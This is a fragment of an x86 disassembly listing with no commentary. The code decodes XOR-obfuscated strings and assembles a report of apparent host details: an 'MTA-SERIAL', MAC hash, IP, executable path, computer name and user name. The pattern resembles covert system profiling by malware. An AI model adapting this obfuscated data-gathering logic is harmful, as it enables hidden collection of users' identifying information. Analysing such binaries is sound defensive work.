mov dword [ebp - 0x1dc0], eax
movaps xmm0, xmmword [0x48b470]
xor ecx, ecx
movups xmmword [ebp - 0x1c9c], xmm0
mov dword [ebp - 0x1c8c], 0x6b666d5d
mov dword [ebp - 0x1c88], 0x6b627b6a
mov dword [ebp - 0x1c84], 0x2e347c
nop
mov al, byte [ebp - 0x1c9c]
xor byte [ebp + ecx - 0x1c9b], al
inc ecx
cmp ecx, 0x1a
jb 0x444760
movaps xmm0, xmmword [0x4894e0]
xor ecx, ecx
mov byte [ebp - 0x1c81], 0
movups xmmword [ebp - 0x1e3c], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x1e3c]
xor byte [ebp + ecx - 0x1e3b], al
inc ecx
cmp ecx, 0xe
jb 0x444790
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21c8]
mov byte [ebp - 0x1e2d], 0
call fcn.00468c40
lea ecx, [ebp - 0x1e3b]
mov byte [ebp - 4], 0x42
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4447c8
sub ecx, edx
lea eax, [ebp - 0x1e3b]
push ecx
push eax
lea ecx, [ebp - 0x21c8]
call fcn.00468c60
movaps xmm0, xmmword [0x48b460]
xor ecx, ecx
movups xmmword [ebp - 0x1c64], xmm0
mov dword [ebp - 0x1c54], 0x4a627079
mov dword [ebp - 0x1c50], 0x72737350
mov word [ebp - 0x1c4c], 0x65
mov al, byte [ebp - 0x1c64]
xor byte [ebp + ecx - 0x1c63], al
inc ecx
cmp ecx, 0x18
jb 0x444811
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x21b0]
mov byte [ebp - 0x1c4b], 0
call fcn.00468c40
lea ecx, [ebp - 0x1c63]
mov byte [ebp - 4], 0x44
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444850
sub ecx, edx
lea eax, [ebp - 0x1c63]
push ecx
push eax
lea ecx, [ebp - 0x21b0]
call fcn.00468c60
lea eax, [ebp - 0x21c8]
mov byte [ebp - 4], 0x45
push eax
lea edx, [ebp - 0x21b0]
lea ecx, [ebp - 0x2948]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1dc4], eax
movaps xmm0, xmmword [0x48b7a0]
xor ecx, ecx
movups xmmword [ebp - 0x1df0], xmm0
mov word [ebp - 0x1de0], 0x302a
mov byte [ebp - 0x1dde], 0
mov al, byte [ebp - 0x1df0]
xor byte [ebp + ecx - 0x1def], al
inc ecx
cmp ecx, 0x11
jb 0x4448b1
mov byte [ebp - 0x1dde], 0
mov dl, 0x16
mov dword [ebp - 0x1bbc], 0x46615e16
xor ecx, ecx
mov dword [ebp - 0x1bb8], 0x7f707964
mov dword [ebp - 0x1bb4], 0x6351737a
mov word [ebp - 0x1bb0], 0x727f
mov byte [ebp - 0x1bae], 0
nop dword [eax]
lea eax, [ebp - 0x1bbb]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x444917
mov dl, byte [ebp - 0x1bbc]
jmp 0x444900
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2198]
mov byte [ebp - 0x1bae], 0
call fcn.00468c40
lea ecx, [ebp - 0x1bbb]
mov byte [ebp - 4], 0x47
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444940
sub ecx, edx
lea eax, [ebp - 0x1bbb]
push ecx
push eax
lea ecx, [ebp - 0x2198]
call fcn.00468c60
movaps xmm0, xmmword [0x489f60]
xor ecx, ecx
movups xmmword [ebp - 0x2018], xmm0
mov dword [ebp - 0x1fd8], 0x515050
movaps xmm0, xmmword [0x4898d0]
movups xmmword [ebp - 0x2008], xmm0
movaps xmm0, xmmword [0x4899a0]
movups xmmword [ebp - 0x1ff8], xmm0
movaps xmm0, xmmword [0x48af00]
movups xmmword [ebp - 0x1fe8], xmm0
mov al, byte [ebp - 0x2018]
xor byte [ebp + ecx - 0x2017], al
inc ecx
cmp ecx, 0x42
jb 0x4449a0
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2180]
mov byte [ebp - 0x1fd5], 0
call fcn.00468c40
lea ecx, [ebp - 0x2017]
mov byte [ebp - 4], 0x49
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4449d8
sub ecx, edx
lea eax, [ebp - 0x2017]
push ecx
push eax
lea ecx, [ebp - 0x2180]
call fcn.00468c60
lea eax, [ebp - 0x2198]
mov byte [ebp - 4], 0x4a
push eax
lea edx, [ebp - 0x2180]
lea ecx, [ebp - 0x26a8]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1dc8], eax
movaps xmm0, xmmword [0x48b110]
xor ecx, ecx
movups xmmword [ebp - 0x1e18], xmm0
mov word [ebp - 0x1e08], 0x42
mov al, byte [ebp - 0x1e18]
xor byte [ebp + ecx - 0x1e17], al
inc ecx
cmp ecx, 0x10
jb 0x444a32
mov byte [ebp - 0x1e07], 0
mov dl, 0x56
mov dword [ebp - 0x1b8c], 0x35371b56
xor ecx, ecx
mov dword [ebp - 0x1b88], 0x33383f3e
mov dword [ebp - 0x1b84], 0x323f2311
mov byte [ebp - 0x1b80], 0
lea eax, [ebp - 0x1b8b]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x444a8c
mov dl, byte [ebp - 0x1b8c]
jmp 0x444a75
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2168]
mov byte [ebp - 0x1b80], 0
call fcn.00468c40
lea ecx, [ebp - 0x1b8b]
mov byte [ebp - 4], 0x4c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444ab1
sub ecx, edx
lea eax, [ebp - 0x1b8b]
push ecx
push eax
lea ecx, [ebp - 0x2168]
call fcn.00468c60
movaps xmm0, xmmword [str.a2.56_3___b]
xor ecx, ecx
movups xmmword [ebp - 0x1fb4], xmm0
mov byte [ebp - 0x1f94], 0
movaps xmm0, xmmword [0x489bc0]
movups xmmword [ebp - 0x1fa4], xmm0
mov al, byte [ebp - 0x1fb4]
xor byte [ebp + ecx - 0x1fb3], al
inc ecx
cmp ecx, 0x1f
jb 0x444af2
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2150]
mov byte [ebp - 0x1f94], 0
call fcn.00468c40
lea ecx, [ebp - 0x1fb3]
mov byte [ebp - 4], 0x4e
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x444b30
sub ecx, edx
lea eax, [ebp - 0x1fb3]
push ecx
push eax
lea ecx, [ebp - 0x2150]
call fcn.00468c60
lea eax, [ebp - 0x2168]
mov byte [ebp - 4], 0x4f
push eax
lea edx, [ebp - 0x2150]
lea ecx, [ebp - 0x2690]
call fcn.00441dc0
add esp, 4
mov dword [ebp - 0x1d98], eax
mov byte [ebp - 4], 0x50
xor esi, esi
movaps xmm0, xmmword [0x489420]
movups xmmword [ebp - 0x1e74], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + esi - 0x1e73]
lea ecx, [ebp - 0x1e74]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1e73]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xe
jb 0x444b90
push 0xe
lea ecx, [ebp - 0x1e73]
call fcn.00464d10
lea ecx, [ebp - 0x1e73]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2678]
mov dword [ebp - 0x1da0], eax
call fcn.0043d320
mov dword [ebp - 0x1da4], eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x1a68]
push 0xa
mov byte [ebp - 0x1a68], 0x10
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a67], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a66], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a65], al
call fcn.00464cf0
push 0x2d
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a64], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a63], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a62], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a61], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a60], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a5f], al
call fcn.00464cf0
push 0x4c
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a5e], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a5d], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a68]
mov byte [ebp - 0x1a5c], al
call fcn.00464cf0
mov byte [ebp - 0x1a5b], al
xor esi, esi
mov byte [ebp - 0x1a5a], 0
push esi
lea ecx, [ebp - 0x1a67]
call fcn.00464d10
lea ecx, [ebp - 0x1a68]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a67]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xd
jb 0x444d01
push 0xd
lea ecx, [ebp - 0x1a67]
call fcn.00464d10
lea ecx, [ebp - 0x1a67]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2660]
mov dword [ebp - 0x1d90], eax
call fcn.0043d160
mov edx, eax
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x2648]
call fcn.00443410
mov dword [ebp - 0x1da8], eax
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x1a28]
push 0xa
mov byte [ebp - 0x1a28], 4
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a27], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a26], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a25], al
call fcn.00464cf0
push 0x2d
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a24], al
call fcn.00464cf0
push 0x48
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a23], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a22], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a21], al
call fcn.00464cf0
push 0x48
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a20], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a1f], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a28]
mov byte [ebp - 0x1a1e], al
call fcn.00464cf0
mov byte [ebp - 0x1a1d], al
xor esi, esi
mov byte [ebp - 0x1a1c], 0
push esi
lea ecx, [ebp - 0x1a27]
call fcn.00464d10
lea ecx, [ebp - 0x1a28]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a27]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xb
jb 0x444e64
push 0xb
lea ecx, [ebp - 0x1a27]
call fcn.00464d10
lea ecx, [ebp - 0x1a27]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2630]
mov dword [ebp - 0x1db0], eax
call fcn.0043d500
mov dword [ebp - 0x1d8c], eax
mov byte [ebp - 4], 0x54
lea ecx, [ebp - 0x19fc]
push 0xa
mov byte [ebp - 0x19fc], 0x45
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x19fc]
mov byte [ebp - 0x19fb], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x19fc]
mov byte [ebp - 0x19fa], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x19fc]
mov byte [ebp - 0x19f9], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x19fc]
mov byte [ebp - 0x19f8], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x19fc]
mov byte [ebp - 0x19f7], al
call fcn.00464cf0
mov byte [ebp - 0x19f6], al
xor esi, esi
mov byte [ebp - 0x19f5], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x19fb]
call fcn.00464d10
lea ecx, [ebp - 0x19fc]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x19fb]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x444f60
push 6
lea ecx, [ebp - 0x19fb]
call fcn.00464d10
lea ecx, [ebp - 0x19fb]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2618]
mov dword [ebp - 0x1d88], eax
call fcn.004425a0
mov dword [ebp - 0x1d84], eax
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x19f4]
push 0xa
mov byte [ebp - 0x19f4], 0x20
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x19f4]
mov byte [ebp - 0x19f3], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x19f4]
mov byte [ebp - 0x19f2], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x19f4]
mov byte [ebp - 0x19f1], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x19f4]
mov byte [ebp - 0x19f0], al
call fcn.00464cf0
mov byte [ebp - 0x19ef], al
xor esi, esi
mov byte [ebp - 0x19ee], 0
push esi
lea ecx, [ebp - 0x19f3]
call fcn.00464d10
lea ecx, [ebp - 0x19f4]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x19f3]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x445040
push 5
lea ecx, [ebp - 0x19f3]
call fcn.00464d10
lea ecx, [ebp - 0x19f3]
mov byte [eax], 0
call fcn.00464d00
push 0xa
lea ecx, [ebp - 0x1a48]
mov dword [ebp - 0x1d80], eax
mov byte [ebp - 0x1a48], 0x15
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a47], al
call fcn.00464cf0
push 0x78
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a46], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a45], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a44], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a43], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a42], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a41], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a40], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a3f], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a3e], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a3d], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a48]
mov byte [ebp - 0x1a3c], al
call fcn.00464cf0
mov byte [ebp - 0x1a3b], al
xor esi, esi
mov byte [ebp - 0x1a3a], 0
push esi
lea ecx, [ebp - 0x1a47]
call fcn.00464d10
lea ecx, [ebp - 0x1a48]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a47]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xd
jb 0x4451a3
push 0xd
lea ecx, [ebp - 0x1a47]
call fcn.00464d10
lea ecx, [ebp - 0x1a47]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x2600]
mov dword [ebp - 0x1d7c], eax
call fcn.00442230
mov dword [ebp - 0x1d78], eax
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x1a7c]
push 0xa
mov byte [ebp - 0x1a7c], 0x16
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a7b], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a7a], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a79], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a78], al
call fcn.00464cf0
push 0x55
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a77], al
call fcn.00464cf0
push 0x54
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a76], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a75], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a74], al
call fcn.00464cf0
push 0x4e
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a73], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a72], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a71], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a70], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a6f], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a7c]
mov byte [ebp - 0x1a6e], al
call fcn.00464cf0
mov byte [ebp - 0x1a6d], al
xor esi, esi
mov byte [ebp - 0x1a6c], 0
push esi
lea ecx, [ebp - 0x1a7b]
call fcn.00464d10
lea ecx, [ebp - 0x1a7c]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a7b]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xf
jb 0x445341
push 0xf
lea ecx, [ebp - 0x1a7b]
call fcn.00464d10
lea ecx, [ebp - 0x1a7b]
mov byte [eax], 0
call fcn.00464d00
lea ecx, [ebp - 0x25e8]
mov edi, eax
call fcn.00442190
mov dword [ebp - 0x1d74], eax
mov byte [ebp - 4], 0x57
lea ecx, [ebp - 0x1a58]
push 0x60
mov byte [ebp - 0x1a58], 0x1b
call fcn.00464cf0
push 0x60
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a57], al
call fcn.00464cf0
push 0x60
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a56], al
call fcn.00464cf0
push 0x46
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a55], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a54], al
call fcn.00464cf0
push 0x78
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a53], al
call fcn.00464cf0
push 0xa
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a52], al
call fcn.00464cf0
push 0x55
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a51], al
call fcn.00464cf0
push 0x53
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a50], al
call fcn.00464cf0
push 0x45
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a4f], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a4e], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a4d], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1a58]
mov byte [ebp - 0x1a4c], al
call fcn.00464cf0
mov byte [ebp - 0x1a4b], al
xor esi, esi
mov byte [ebp - 0x1a4a], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x1a57]
call fcn.00464d10
lea ecx, [ebp - 0x1a58]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1a57]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0xd
jb 0x4454c0
push 0xd
lea ecx, [ebp - 0x1a57]
call fcn.00464d10
lea ecx, [ebp - 0x1a57]
mov byte [eax], 0
call fcn.00464d00
push dword [ebp - 0x1d74]
mov edx, eax
lea ecx, [ebp - 0x25d0]
call fcn.00467de0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x25b8]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1d78]
mov edx, eax
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x25a0]
call fcn.00467f80
add esp, 4
push dword [ebp - 0x1d7c]
mov edx, eax
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x2588]
call fcn.00467eb0
add esp, 4
push 0x49466c
mov edx, eax
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x2570]
call fcn.00467f20
add esp, 4
push dword [ebp - 0x1d80]
mov edx, eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x2558]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1d84]
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x2540]
call fcn.00467f80
add esp, 4
push dword [ebp - 0x1d88]
mov edx, eax
mov byte [ebp - 4], 0x5e
lea ecx, [ebp - 0x2528]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1d8c]
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x2510]
call fcn.00467f80
add esp, 4
push dword [ebp - 0x1db0]
mov edx, eax
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x24f8]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1da8]
mov edx, eax
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x24e0]
call fcn.00467f80
add esp, 4
push dword [ebp - 0x1d90]
mov edx, eax
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x24c8]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1da4]
mov edx, eax
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x24b0]
call fcn.00467f80
add esp, 4
push dword [ebp - 0x1da0]
mov edx, eax
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x2498]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1d98]
mov edx, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x2480]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1e17]
mov byte [ebp - 4], 0x66
push ecx
mov edx, eax
lea ecx, [ebp - 0x2468]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1dc8]
mov edx, eax
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x2450]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1def]
mov byte [ebp - 4], 0x68
push ecx
mov edx, eax
lea ecx, [ebp - 0x2438]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1dc4]
mov edx, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x2420]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1c9b]
mov byte [ebp - 4], 0x6a
push ecx
mov edx, eax
lea ecx, [ebp - 0x2408]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1dc0]
mov edx, eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x23f0]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1e4f]
mov byte [ebp - 4], 0x6c
push ecx
mov edx, eax
lea ecx, [ebp - 0x23d8]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0x1ddb]
mov byte [ebp - 4], 0x6d
push ecx
mov edx, eax
lea ecx, [ebp - 0x23c0]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1dbc]
mov edx, eax
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x23a8]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1bd7]
mov byte [ebp - 4], 0x6f
push ecx
mov edx, eax
lea ecx, [ebp - 0x2390]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1db8]
mov edx, eax
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0x2378]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1d57]
mov byte [ebp - 4], 0x71
push ecx
mov edx, eax
lea ecx, [ebp - 0x29c0]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1db4]
mov edx, eax
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x29a8]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1e83]
mov byte [ebp - 4], 0x73
push ecx
mov edx, eax
lea ecx, [ebp - 0x2990]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1dac]
mov edx, eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x2978]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1e63]
mov byte [ebp - 4], 0x75
push ecx
mov edx, eax
lea ecx, [ebp - 0x2b70]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1d9c]
mov edx, eax
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x2b58]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1cff]
mov byte [ebp - 4], 0x77
push ecx
mov edx, eax
lea ecx, [ebp - 0x2b40]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1d94]
mov edx, eax
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2b28]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1d2b]
mov byte [ebp - 4], 0x79
push ecx
mov edx, eax
lea ecx, [ebp - 0x2b10]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1c04]
mov edx, eax
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0x2af8]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1bf7]
mov byte [ebp - 4], 0x7b
push ecx
mov edx, eax
lea ecx, [ebp - 0x2ae0]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1bfc]
mov edx, eax
mov byte [ebp - 4], 0x7c
lea ecx, [ebp - 0x2ac8]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1e2b]
mov byte [ebp - 4], 0x7d
push ecx
mov edx, eax
lea ecx, [ebp - 0x2ab0]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1c08]
mov edx, eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x2a98]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1d6f]
mov byte [ebp - 4], 0x7f
push ecx
mov edx, eax
lea ecx, [ebp - 0x2a80]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0x1ce7]
mov byte [ebp - 4], 0x80
push ecx
mov edx, eax
lea ecx, [ebp - 0x2a68]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1c00]
mov edx, eax
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x2a50]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1e93]
mov byte [ebp - 4], 0x82
push ecx
mov edx, eax
lea ecx, [ebp - 0x2a38]
call fcn.00467eb0
add esp, 4
push dword [ebp - 0x1a18]
mov edx, eax
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x2a20]
call fcn.00467f80
add esp, 4
lea ecx, [ebp - 0x1b7b]
mov byte [ebp - 4], 0x84
push ecx
mov edx, eax
lea ecx, [ebp - 0x2a08]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.00466620
lea ecx, [ebp - 0x2a08]
call fcn.004665d0
lea ecx, [ebp - 0x2a20]
call fcn.004665d0
lea ecx, [ebp - 0x2a38]
call fcn.004665d0
lea ecx, [ebp - 0x2a50]
call fcn.004665d0
lea ecx, [ebp - 0x2a68]
call fcn.004665d0
lea ecx, [ebp - 0x2a80]
call fcn.004665d0
lea ecx, [ebp - 0x2a98]
call fcn.004665d0
lea ecx, [ebp - 0x2ab0]
call fcn.004665d0
lea ecx, [ebp - 0x2ac8]
call fcn.004665d0
lea ecx, [ebp - 0x2ae0]
call fcn.004665d0
lea ecx, [ebp - 0x2af8]
call fcn.004665d0
lea ecx, [ebp - 0x2b10]
call fcn.004665d0
lea ecx, [ebp - 0x2b28]
call fcn.004665d0
lea ecx, [ebp - 0x2b40]
call fcn.004665d0
lea ecx, [ebp - 0x2b58]
call fcn.004665d0
lea ecx, [ebp - 0x2b70]
call fcn.004665d0
lea ecx, [ebp - 0x2978]
call fcn.004665d0
lea ecx, [ebp - 0x2990]
call fcn.004665d0
lea ecx, [ebp - 0x29a8]
call fcn.004665d0
lea ecx, [ebp - 0x29c0]
call fcn.004665d0
lea ecx, [ebp - 0x2378]
